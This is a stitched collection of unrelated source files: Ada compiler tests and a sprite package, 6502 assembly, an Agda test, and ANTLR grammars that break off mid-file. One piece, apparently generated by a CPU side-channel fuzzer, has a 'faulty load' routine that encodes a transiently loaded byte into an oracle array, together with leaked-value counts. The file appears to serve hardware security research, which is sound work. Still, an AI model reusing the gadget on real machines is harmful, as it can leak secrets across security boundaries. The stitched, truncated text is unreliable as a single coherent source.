-- WRG 9/11/86
-- PWB 3/31/88 CHANGED RANGE FOR MEMBERSHIP TEST INVOLVING
-- ABS (DECIMAL_M4'FIRST + DECIMAL_M4'SMALL / 2).
-- RJW 8/21/89 REMOVED CHECKS INVOLVING HARD-CODED FIXED-POINT
-- UPPER BOUNDS WHICH WERE INCORRECT FOR SOME
-- IMPLEMENTATIONS. REVISED HEADER.
-- PWN 02/02/95 REMOVED INCONSISTENCIES WITH ADA 9X.
-- KAS 11/14/95 REMOVED CASES THAT DEPEND ON SPECIFIC VALUE FOR 'SMALL
-- TMB 11/19/94 REMOVED CASES RELATING TO 3.5.9(8) RULES - SMALL
-- MAY BE LESS THAN OR EQUAL TO DELTA FOR FIXED POINT.
WITH REPORT; USE REPORT;
PROCEDURE C45651A IS
-- THE NAME OF EACH TYPE OR SUBTYPE ENDS WITH THAT TYPE'S
-- 'MANTISSA VALUE.
BEGIN
TEST ("C45651A", "CHECK THAT, FOR FIXED POINT TYPES, THE ABS " &
"OPERATOR PRODUCES CORRECT RESULTS - BASIC " &
"TYPES");
-------------------------------------------------------------------
A: DECLARE
TYPE LIKE_DURATION_M23 IS DELTA 0.020
RANGE -86_400.0 .. 86_400.0;
NON_MODEL_CONST : CONSTANT := 2.0 / 3;
NON_MODEL_VAR : LIKE_DURATION_M23 := 0.0;
SMALL, MAX, MIN, ZERO : LIKE_DURATION_M23 := 0.5;
X : LIKE_DURATION_M23 := 1.0;
BEGIN
-- INITIALIZE "CONSTANTS":
IF EQUAL (3, 3) THEN
SMALL := LIKE_DURATION_M23'SMALL;
MAX := LIKE_DURATION_M23'LAST;
MIN := LIKE_DURATION_M23'FIRST;
ZERO := 0.0;
NON_MODEL_VAR := NON_MODEL_CONST;
END IF;
-- (A)
IF EQUAL (3, 3) THEN
X := SMALL;
END IF;
IF ABS X /= SMALL OR X /= ABS LIKE_DURATION_M23'SMALL THEN
FAILED ("ABS (1.0 / 64) /= (1.0 / 64)");
END IF;
IF EQUAL (3, 3) THEN
X := MAX;
END IF;
IF ABS X /= MAX OR X /= ABS LIKE_DURATION_M23'LAST THEN
FAILED ("ABS 86_400.0 /= 86_400.0");
END IF;
-- (B)
IF EQUAL (3, 3) THEN
X := -SMALL;
END IF;
IF ABS X /= SMALL OR
ABS (-LIKE_DURATION_M23'SMALL) /= SMALL THEN
FAILED ("ABS -(1.0 / 64) /= (1.0 / 64)");
END IF;
IF EQUAL (3, 3) THEN
X := MIN;
END IF;
IF ABS X /= MAX OR ABS LIKE_DURATION_M23'FIRST /= MAX THEN
FAILED ("ABS -86_400.0 /= 86_400.0");
END IF;
-- (A) AND (B)
IF EQUAL (3, 3) THEN
X := 0.0;
END IF;
IF "ABS" (RIGHT => X) /= ZERO OR X /= ABS 0.0 THEN
FAILED ("ABS 0.0 /= 0.0 -- (LIKE_DURATION_M23)");
END IF;
-- CHECK THAT VALUE OF NON_MODEL_VAR IS IN THE RANGE
-- 42 * 'SMALL .. 43 * 'SMALL:
IF NON_MODEL_VAR NOT IN 0.65625 .. 0.671875 THEN
FAILED ("VALUE OF NON_MODEL_VAR NOT IN CORRECT RANGE " &
"- A");
END IF;
-- (C)
IF ABS NON_MODEL_VAR NOT IN 0.65625 .. 0.671875 OR
ABS LIKE_DURATION_M23'(NON_MODEL_CONST) NOT IN
0.65625 .. 0.671875 THEN
FAILED ("ABS (2.0 / 3) NOT IN CORRECT RANGE - A");
END IF;
IF EQUAL (3, 3) THEN
X := 86_399.992_187_5; -- LIKE_DURATION_M23'LAST -
-- 1.0 / 128.
END IF;
IF ABS X NOT IN 86_399.984_375 .. 86_400.0 OR
ABS (LIKE_DURATION_M23'LAST - LIKE_DURATION_M23'SMALL / 2)
NOT IN 86_399.984_375 .. 86_400.0 THEN
FAILED ("ABS (LIKE_DURATION_M23'LAST - " &
"LIKE_DURATION_M23'SMALL / 2) NOT IN CORRECT " &
"RANGE");
END IF;
-- (D)
IF EQUAL (3, 3) THEN
X := -NON_MODEL_CONST;
END IF;
IF ABS X NOT IN 0.65625 .. 0.671875 OR
ABS (-LIKE_DURATION_M23'(NON_MODEL_CONST)) NOT IN
0.65625 .. 0.671875 THEN
FAILED ("ABS (-2.0 / 3) NOT IN CORRECT RANGE - A");
END IF;
IF EQUAL (3, 3) THEN
X := -86_399.992_187_5; -- LIKE_DURATION_M23'FIRST +
-- 1.0 / 128.
END IF;
IF ABS X NOT IN 86_399.984_375 .. 86_400.0 OR
ABS (LIKE_DURATION_M23'FIRST + LIKE_DURATION_M23'SMALL / 2)
NOT IN 86_399.984_375 .. 86_400.0 THEN
FAILED ("ABS (LIKE_DURATION_M23'FIRST +" &
"LIKE_DURATION_M23'SMALL / 2) NOT IN CORRECT " &
"RANGE");
END IF;
END A;
-------------------------------------------------------------------
B: DECLARE
TYPE DECIMAL_M4 IS DELTA 100.0 RANGE -1000.0 .. 1000.0;
NON_MODEL_CONST : CONSTANT := 2.0 / 3;
NON_MODEL_VAR : DECIMAL_M4 := 0.0;
SMALL, MAX, MIN, ZERO : DECIMAL_M4 := 128.0;
X : DECIMAL_M4 := 0.0;
BEGIN
-- INITIALIZE "CONSTANTS":
IF EQUAL (3, 3) THEN
SMALL := DECIMAL_M4'SMALL;
ZERO := 0.0;
NON_MODEL_VAR := NON_MODEL_CONST;
END IF;
-- (A)
IF EQUAL (3, 3) THEN
X := SMALL;
END IF;
IF ABS X /= SMALL OR X /= ABS DECIMAL_M4'SMALL THEN
FAILED ("ABS 64.0 /= 64.0");
END IF;
-- (B)
IF EQUAL (3, 3) THEN
X := -SMALL;
END IF;
IF ABS X /= SMALL OR ABS (-DECIMAL_M4'SMALL) /= SMALL THEN
FAILED ("ABS -64.0 /= 64.0");
END IF;
-- (A) AND (B)
IF EQUAL (3, 3) THEN
X := 0.0;
END IF;
IF ABS X /= ZERO OR X /= ABS 0.0 THEN
FAILED ("ABS 0.0 /= 0.0 -- (DECIMAL_M4)");
END IF;
-- CHECK THE VALUE OF NON_MODEL_VAR:
IF NON_MODEL_VAR NOT IN 0.0 .. 64.0 THEN
FAILED ("VALUE OF NON_MODEL_VAR NOT IN CORRECT RANGE " &
"- B");
END IF;
-- (C)
IF ABS NON_MODEL_VAR NOT IN 0.0 .. 64.0 OR
ABS DECIMAL_M4'(NON_MODEL_CONST) NOT IN 0.0 .. 64.0 THEN
FAILED ("ABS (2.0 / 3) NOT IN CORRECT RANGE - B");
END IF;
IF EQUAL (3, 3) THEN
X := 37.0; -- INTERVAL IS 0.0 .. 64.0.
END IF;
IF EQUAL (3, 3) THEN
X := 928.0;
END IF;
-- (D)
IF EQUAL (3, 3) THEN
X := -NON_MODEL_CONST;
END IF;
IF ABS X NOT IN 0.0 .. 64.0 OR
ABS (-DECIMAL_M4'(NON_MODEL_CONST)) NOT IN 0.0 .. 64.0 THEN
FAILED ("ABS -(2.0 / 3) NOT IN CORRECT RANGE - B");
END IF;
IF EQUAL (3, 3) THEN
X := -37.0; -- INTERVAL IS -SMALL .. 0.0.
END IF;
IF EQUAL (3, 3) THEN
X := -928.0;
END IF;
END B;
-------------------------------------------------------------------
RESULT;
END C45651A;
|
4-high/gel/source/gel-sprite.ads | charlie5/lace | 20 | 24653 | <gh_stars>10-100
with
gel.Joint,
openGL.Model,
openGL.Visual,
openGL.Program,
physics.Model,
physics.Object,
physics.Shape,
physics.Space,
lace.Subject_and_deferred_Observer,
lace.Response,
ada.Containers.Vectors;
limited
with
gel.World;
package gel.Sprite
--
-- Combines a graphics 'visual' and a physics 'solid'.
--
is
use Math;
type Item is limited new lace.Subject_and_deferred_Observer.item with private;
type View is access all Item'Class;
type Items is array (math.Index range <>) of aliased Item;
type Views is array (math.Index range <>) of View;
null_Sprites : constant Sprite.views;
type physics_Space_view is access all physics.Space.item'Class;
type World_view is access all gel.World.item'Class;
--------------
--- Containers
--
type Grid is array (math.Index range <>,
math.Index range <>) of Sprite.view;
type Grid_view is access all Grid;
package Vectors is new ada.Containers.Vectors (Positive, Sprite.view);
----------
--- Forge
--
procedure define (Self : access Item; World : in World_view;
at_Site : in Vector_3;
graphics_Model : access openGL. Model.item'Class;
physics_Model : access physics.Model.item'Class;
owns_Graphics : in Boolean;
owns_Physics : in Boolean;
is_Kinematic : in Boolean := False);
procedure destroy (Self : access Item; and_Children : in Boolean);
function is_Destroyed (Self : in Item) return Boolean;
procedure free (Self : in out View);
package Forge
is
function to_Sprite (Name : in String;
World : in World_view;
at_Site : in Vector_3;
graphics_Model : access openGL. Model.item'Class;
physics_Model : access physics.Model.item'Class;
owns_Graphics : in Boolean;
owns_Physics : in Boolean;
is_Kinematic : in Boolean := False) return Item;
function new_Sprite (Name : in String;
World : in World_view;
at_Site : in Vector_3;
graphics_Model : access openGL. Model.item'Class;
physics_Model : access physics.Model.item'Class;
owns_Graphics : in Boolean := True;
owns_Physics : in Boolean := True;
is_Kinematic : in Boolean := False) return View;
end Forge;
---------------
--- Attributes
--
function World (Self : in Item'Class) return access gel.World.item'Class;
function Id (Self : in Item'Class) return gel.sprite_Id;
procedure Id_is (Self : in out Item'Class; Now : in gel.sprite_Id);
function Visual (Self : access Item'Class) return openGL.Visual.view;
function graphics_Model (Self : in Item'Class) return openGL.Model.view;
procedure Model_is (Self : in out Item'Class; Now : in openGL.Model.view);
function owns_Graphics (Self : in Item) return Boolean;
function physics_Model (Self : in Item'Class) return access physics.Model.item'class;
procedure physics_Model_is (Self : in out Item'Class; Now : in physics.Model.view);
function Scale (Self : in Item'Class) return Vector_3;
procedure Scale_is (Self : in out Item'Class; Now : in Vector_3);
function Mass (Self : in Item'Class) return Real;
function is_Static (Self : in Item'Class) return Boolean;
function is_Kinematic (Self : in Item'Class) return Boolean;
function Depth_in_camera_space (Self : in Item'Class) return Real;
procedure mvp_Matrix_is (Self : in out Item'Class; Now : in Matrix_4x4);
function mvp_Matrix (Self : in Item'Class) return Matrix_4x4;
procedure is_Visible (Self : in out Item'Class; Now : in Boolean);
function is_Visible (Self : in Item'Class) return Boolean;
procedure key_Response_is (Self : in out Item'Class; Now : in lace.Response.view);
function key_Response (Self : in Item'Class) return lace.Response.view;
subtype physics_Object_view is physics.Object.view;
subtype physics_Shape_view is physics.Shape .view;
function Solid (Self : in Item'Class) return physics_Object_view;
procedure Solid_is (Self : out Item'Class; Now : in physics_Object_view);
function Shape (Self : in Item'Class) return physics_Shape_view;
function to_GEL (the_Solid : in physics_Object_view) return gel.Sprite.view;
-------------
--- Dynamics
--
--- Bounds
--
function Bounds (Self : in Item) return Geometry_3d.bounding_Box;
--- Site
--
function Site (Self : in Item) return Vector_3;
procedure Site_is (Self : in out Item; Now : in Vector_3);
procedure move (Self : in out Item; to_Site : in Vector_3);
--
-- Moves the sprite to a new site and recursively move children such that
-- relative positions are maintained.
--- Spin
--
function Spin (Self : in Item) return Matrix_3x3;
procedure Spin_is (Self : in out Item; Now : in Matrix_3x3);
function xy_Spin (Self : in Item) return Radians;
procedure xy_Spin_is (Self : in out Item; Now : in Radians);
procedure rotate (Self : in out Item; to_Spin : in Matrix_3x3);
--
-- Rotates the sprite to a new spin and recursively moves and rotates children such that
-- relative positions/orientations are maintained.
--- Transform
--
function Transform (Self : in Item) return Matrix_4x4;
procedure Transform_is (Self : in out Item; Now : in Matrix_4x4);
--- Speed
--
function Speed (Self : in Item) return Vector_3;
procedure Speed_is (Self : in out Item; Now : in Vector_3);
procedure set_Speed (Self : in out Item; to_Speed : in Vector_3);
--
-- Set Self and all children to given value.
--- Gyre
--
function Gyre (Self : in Item) return Vector_3;
procedure Gyre_is (Self : in out Item; Now : in Vector_3);
procedure set_Gyre (Self : in out Item; to_Gyre : in Vector_3);
--
-- Set Self and all children to given value.
--- Forces
--
procedure apply_Torque (Self : in out Item; Torque : in Vector_3);
procedure apply_Torque_impulse (Self : in out Item; Torque : in Vector_3);
procedure apply_Force (Self : in out Item; Force : in Vector_3);
--- Mirrored Dynamics
--
function desired_Site (Self : in Item) return Vector_3;
procedure desired_Site_is (Self : in out Item; Now : in Vector_3);
procedure desired_Spin_is (Self : in out Item; Now : in Quaternion);
procedure interpolate_Motion (Self : in out Item'Class);
--- Hierachy
--
type DoF_Limits is
record
Low : math.Real;
High : math.Real;
end record;
function parent_Joint (Self : in Item'Class) return gel.Joint.view;
function child_Joints (Self : in Item'Class) return gel.Joint.views;
function top_Parent (Self : access Item'Class) return gel.Sprite.view;
function Parent (Self : in Item) return gel.Sprite.view;
function tree_Depth (Self : in Item) return Natural;
procedure detach (Self : in out Item; the_Child : gel.Sprite.view);
no_such_Child : exception;
type Action is access procedure (the_Sprite : in out Item'Class);
procedure apply (Self : in out Item; do_Action : Action);
--
-- Applies an action to a sprite and its children recursively.
--- Hinge
--
procedure attach_via_Hinge (Self : access Item'Class; the_Child : in Sprite.view;
pivot_Axis : in Vector_3;
Anchor : in Vector_3;
child_Anchor : in Vector_3;
low_Limit : in Real;
high_Limit : in Real;
collide_Connected : in Boolean;
new_joint : out gel.Joint.view);
procedure attach_via_Hinge (Self : access Item'Class; the_Child : in Sprite.view;
pivot_Axis : in Vector_3;
pivot_Anchor : in Vector_3;
low_Limit : in Real;
high_Limit : in Real;
new_joint : out gel.Joint.view);
procedure attach_via_Hinge (Self : access Item'Class; the_Child : in Sprite.view;
pivot_Axis : in Vector_3;
low_Limit : in Real;
high_Limit : in Real;
new_joint : out gel.Joint.view);
--
-- Uses midpoint between Self and the_Child sprite as pivot_Anchor.
procedure attach_via_Hinge (Self : access Item'Class; the_Child : in Sprite.view;
Frame_in_parent : in Matrix_4x4;
Frame_in_child : in Matrix_4x4;
Limits : in DoF_Limits;
collide_Connected : in Boolean;
new_joint : out gel.Joint.view);
--- Ball/Socket
--
procedure attach_via_ball_Socket (Self : access Item'Class; the_Child : in Sprite.view;
pivot_Anchor : in Vector_3;
pivot_Axis : in Matrix_3x3;
pitch_Limits : in DoF_Limits;
yaw_Limits : in DoF_Limits;
roll_Limits : in DoF_Limits;
new_joint : out gel.Joint.view);
procedure attach_via_ball_Socket (Self : access Item'Class; the_Child : in Sprite.view;
Frame_in_parent : in Matrix_4x4;
Frame_in_child : in Matrix_4x4;
pitch_Limits : in DoF_Limits;
yaw_Limits : in DoF_Limits;
roll_Limits : in DoF_Limits;
new_joint : out gel.Joint.view);
--- Graphics
--
procedure program_Parameters_are (Self : in out Item'Class; Now : in opengl.Program.Parameters_view);
function program_Parameters (Self : in Item'Class) return opengl.Program.Parameters_view;
--- Physics
--
procedure rebuild_Shape (Self : in out Item);
procedure rebuild_Solid (Self : in out Item; at_Site : in Vector_3);
private
type access_Joint_views is access all Joint.views;
use type Joint.view;
package joint_Vectors is new ada.Containers.Vectors (Positive, Joint.view);
-- protected
-- type safe_Matrix_4x4
-- is
-- function Value return Matrix_4x4;
-- procedure Value_is (Now : in Matrix_4x4);
-- procedure Site_is (Now : in Vector_3);
--
-- private
-- the_Value : Matrix_4x4 := Identity_4x4;
-- end safe_Matrix_4x4;
type Item is limited new lace.Subject_and_deferred_Observer.item with
record
Id : gel.sprite_Id := null_sprite_Id;
Visual : openGL.Visual.view := new openGL.Visual.item;
program_Parameters : openGL.program.Parameters_view;
owns_Graphics : Boolean;
physics_Model : physics.Model.view;
owns_Physics : Boolean;
World : World_view;
Shape : physics_Shape_view;
Solid : physics_Object_view;
is_Kinematic : Boolean;
-- Transform : safe_Matrix_4x4;
-- Transform : Matrix_4x4;
Depth_in_camera_space : Real;
desired_Site : Vector_3;
interpolation_Vector : Vector_3;
initial_Spin : Quaternion := (0.0, (0.0, 1.0, 0.0));
desired_Spin : Quaternion := (0.0, (0.0, 1.0, 0.0));
interpolation_spin_Time : Real := 0.0;
parent_Joint : gel.Joint.view;
child_Joints : joint_Vectors.Vector;
is_Visible : Boolean := True;
key_Response : lace.Response.view;
is_Destroyed : Boolean := False;
end record;
null_Sprites : constant Sprite.views (1 .. 0) := (others => null);
end gel.Sprite;
|
source/interaction/delete.asm | paulscottrobson/6502-basic | 3 | 244155 | <filename>source/interaction/delete.asm<gh_stars>1-10
; ************************************************************************************************
; ************************************************************************************************
;
; Name: delete.asm
; Purpose: Delete line esInt0,esInt1
; Created: 10th March 2021
; Reviewed: 16th March 2021
; Author: <NAME> (<EMAIL>)
;
; ************************************************************************************************
; ************************************************************************************************
.section code
; ************************************************************************************************
;
; Delete line esInt0/1 from program
;
; ************************************************************************************************
DeleteLine:
;
; Find line to delete.
;
lda basePage ; copy program base to temp0
sta temp0
lda basePage+1
sta temp0+1
;
_DLLoop:ldy #1 ; see if found line ?
lda esInt0 ; e.g. the linenumbers match
cmp (temp0),y
bne _DLNext
iny
lda esInt1
cmp (temp0),y
beq _DLFound
_DLNext:jsr IAdvanceTemp0 ; shift temp0 forward, return Z flag set if end.
bne _DLLoop
rts
;
; Found line, chop it out.
;
_DLFound:
ldy #0 ; this is the line to cut, so this offset is the bytes to remove
lda (temp0),y
tay ; so we copy from (temp0),y
ldx #0 ; to (temp0,x)
_DLCopyDown:
lda (temp0),y ; copy one byte.
sta (temp0,x)
inc temp0 ; advance pointer
bne _DLNoCarry
inc temp0+1
_DLNoCarry:
lda temp0 ; until hit low memory
cmp lowMemory ; which is comfortably after End Program.
bne _DLCopyDown
lda temp0+1
cmp lowMemory+1
bne _DLCopyDown
rts
; ************************************************************************************************
;
; Advance temp0 one program step, Z flag set if end.
;
; ************************************************************************************************
IAdvanceTemp0:
sty tempShort
clc
ldy #0 ; get offset
lda (temp0),y ; add to temp0
adc temp0
sta temp0
bcc _IATNoCarry
inc temp0+1
_IATNoCarry:
lda (temp0),y
ldy tempShort
cmp #0 ; Z set if program end.
rts
.send code
|
Transynther/x86/_processed/NC/_st_zr_un_sm_/i9-9900K_12_0xca.log_21829_272.asm | ljhsiun2/medusa | 9 | 1232 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x2530, %rdi
nop
nop
nop
add $9571, %r10
mov (%rdi), %cx
dec %rsi
lea addresses_D_ht+0xc9b0, %r10
nop
nop
nop
nop
nop
and %rax, %rax
mov (%r10), %bp
nop
nop
dec %rax
lea addresses_WC_ht+0x129b0, %rax
clflush (%rax)
nop
nop
sub $2701, %r9
mov (%rax), %cx
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x1542c, %r9
nop
nop
nop
nop
nop
add %r10, %r10
movw $0x6162, (%r9)
nop
nop
nop
nop
nop
sub $35177, %rax
lea addresses_UC_ht+0x11b80, %r10
nop
nop
xor %rax, %rax
movb $0x61, (%r10)
nop
nop
add $62583, %rbp
lea addresses_D_ht+0x1b30, %rsi
lea addresses_UC_ht+0xb1b0, %rdi
nop
nop
nop
nop
add $19703, %r13
mov $40, %rcx
rep movsl
cmp %rdi, %rdi
lea addresses_WC_ht+0x139b0, %rsi
lea addresses_D_ht+0x39b0, %rdi
nop
sub %r10, %r10
mov $93, %rcx
rep movsq
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x1ae, %r10
and %r9, %r9
mov $0x6162636465666768, %rax
movq %rax, %xmm2
vmovups %ymm2, (%r10)
add %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdx
push %rsi
// Store
mov $0x191c5d00000009b0, %rcx
nop
xor $15735, %rdx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%rcx)
nop
nop
nop
nop
nop
dec %rbx
// Faulty Load
mov $0x191c5d00000009b0, %rbp
nop
nop
nop
nop
xor %r14, %r14
mov (%rbp), %esi
lea oracles, %rbx
and $0xff, %rsi
shlq $12, %rsi
mov (%rbx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_NC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': True, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': True, 'AVXalign': False, 'congruent': 1}}
{'00': 147, '58': 8799, '5f': 12883}
5f 58 5f 5f 5f 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 58 58 00 5f 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 58 58 5f 5f 5f 58 5f 5f 5f 58 58 5f 5f 5f 58 58 5f 58 5f 5f 58 58 5f 58 58 5f 5f 5f 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 58 5f 5f 58 58 5f 58 58 58 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 58 58 5f 58 5f 58 58 5f 58 5f 5f 58 5f 58 58 5f 58 58 5f 5f 5f 5f 58 5f 58 58 5f 5f 5f 58 58 58 58 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 5f 5f 5f 58 58 5f 5f 5f 58 58 58 58 5f 58 5f 5f 5f 5f 5f 5f 58 58 5f 58 00 5f 5f 5f 58 5f 5f 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 58 58 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 58 5f 58 5f 5f 5f 58 58 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 58 5f 5f 5f 58 5f 58 5f 58 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 5f 5f 58 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 58 00 58 5f 5f 5f 58 5f 5f 58 5f 5f 5f 58 5f 5f 5f 5f 5f 58 58 58 5f 5f 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 5f 58 5f 58 5f 58 5f 58 5f 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 58 58 5f 5f 58 58 58 5f 5f 5f 58 58 5f 58 58 5f 58 5f 58 5f 5f 58 58 5f 5f 5f 5f 5f 5f 5f 5f 58 5f 5f 58 58 5f 5f 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 58 58 5f 58 5f 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 5f 58 58 5f 5f 5f 58 58 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 58 5f 5f 5f 58 5f 5f 5f 58 58 58 5f 58 58 5f 5f 5f 58 5f 58 58 5f 58 58 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 58 5f 58 58 58 5f 58 58 58 5f 5f 5f 58 58 58 5f 5f 5f 5f 58 58 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 58 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 5f 5f 58 58 5f 58 58 5f 58 5f 5f 5f 5f 00 5f 5f 58 58 5f 58 00 5f 5f 5f 58 58 58 5f 58 5f 5f 58 5f 5f 58 5f 5f 5f 58 58 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 5f 58 5f 58 58 58 5f 58 5f 5f 5f 58 5f 58 58 5f 5f 58 58 58 5f 5f 5f 5f 58 58 5f 5f 5f 5f 58 5f 58 5f 00 5f 58 58 5f 5f 58 5f 5f 58 58 58 58 5f 58 58 58 5f 5f 58 58 5f 5f 58 5f 58 5f 58 5f 5f 58 58 5f 5f 5f 5f 58 58 58 5f 5f 5f 58 5f 5f 58 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 5f 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 58 58 5f 5f 5f 58 5f 5f 58 5f 5f 5f 58 58 5f 5f 58 58 58 5f 00 5f 5f 5f 58 58 58 5f 5f 58 5f 5f 58 58 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 58 5f 5f 58 5f 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 58 58 5f 5f 5f 5f 5f 5f 58 5f 58 58 58 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 5f 58 58 5f 5f 5f 5f 5f 58 5f 58 5f 58 5f 5f 58 5f 5f 58 58 58 58 5f 5f 5f 58 5f 58 5f 5f 5f 5f 58 58 58 5f 5f 5f 58 58 5f 58 58 5f 58 58 5f 58 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 58 5f 58 5f 5f 5f 5f 5f 5f 58 58 58 58 5f 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 5f 5f 5f 5f 58 58 5f 5f 5f 5f 58 5f 5f 5f 58 5f 5f 5f 5f 5f 5f 58 58 5f 5f 5f 58 58 58 5f 58 5f 5f 58 58 5f 58 58 5f 58 5f 5f 58 5f 5f 5f 58 58 5f 5f 5f 58 58 58 5f 5f 5f 58 58 5f 5f 58 5f 5f 5f 58 5f 58 58 5f 5f 58 5f 5f 58 58 58 5f 5f 5f 58 5f 5f 58 5f 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 58 5f 5f 58 58 58 5f 5f 5f 5f 58 58 5f 58 5f 5f 5f 5f 5f 58 58 5f 58 58 5f 5f 5f 5f 5f 5f 58 5f 5f 5f 5f 58 5f 5f 58 58
*/
|
test/Fail/AbstractModuleMacro.agda | cruhland/agda | 1,989 | 13616 | {-# OPTIONS --warning=error #-}
module AbstractModuleMacro where
import Common.Issue481ParametrizedModule as P
abstract
module M = P Set
|
javersion-path/src/main/antlr/PropertyPath.g4 | ssaarela/javersion | 53 | 5642 | /*
* Copyright 2013 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
grammar PropertyPath;
parsePath
: (property | indexedOrAny) ('.' property | indexedOrAny)* EOF
;
parseProperty
: property EOF
;
indexedOrAny
: '[' (index | key) ']'
| anyProperty
| anyIndex
| anyKey
| any
;
property
: Identifier
;
index
: Integer
;
key
: Key
;
anyProperty
: '.*'
;
anyIndex
: '[]'
;
anyKey
: '{}'
;
any
: '*'
;
Identifier
: JavaIdentifierStart JavaIdentifierPart*
;
fragment JavaIdentifierStart
: [a-zA-Z$_]
| ~[\u0000-\u00A1\uD800-\uDBFF] {Character.isJavaIdentifierStart(_input.LA(-1))}?
| [\uD800-\uDBFF] [\uDC00-\uDFFF] {Character.isJavaIdentifierStart(Character.toCodePoint((char)_input.LA(-2), (char)_input.LA(-1)))}?
;
fragment JavaIdentifierPart
: [a-zA-Z0-9$_]
| ~[a-zA-Z0-9$_\uD800-\uDBFF] {Character.isJavaIdentifierPart(_input.LA(-1))}?
| [\uD800-\uDBFF] [\uDC00-\uDFFF] {Character.isJavaIdentifierPart(Character.toCodePoint((char)_input.LA(-2), (char)_input.LA(-1)))}?
;
Integer
: '0'
| '-'? NonZeroDigit Digit*
;
fragment Digit
: '0'
| NonZeroDigit
;
fragment NonZeroDigit
: [1-9]
;
Key
: '"' StringCharacters? '"'
;
fragment StringCharacters
: StringCharacter+
;
fragment StringCharacter
: ~["\\]
| EscapeSequence
;
fragment EscapeSequence
: '\\' [btnfr"'\\/]
| OctalEscape
| UnicodeEscape
;
fragment OctalEscape
: '\\' OctalDigit
| '\\' OctalDigit OctalDigit
| '\\' ZeroToThree OctalDigit OctalDigit
;
fragment UnicodeEscape
: '\\' 'u' HexDigit HexDigit HexDigit HexDigit
;
fragment ZeroToThree
: [0-3]
;
fragment HexDigit
: [0-9a-fA-F]
;
fragment OctalDigit
: [0-7]
;
|
ramler-typescript/src/test/antlr4/org/ops4j/ramler/typescript/parser/TypeScript.g4 | hwellmann/org.ops4j.ramler | 8 | 2807 | <reponame>hwellmann/org.ops4j.ramler
// This is a toy grammar for a subset of TypeScript that allows us to verify the generated
// TypeScript code.
grammar TypeScript;
// The EOF token is required to make sure we parse the complete input
module
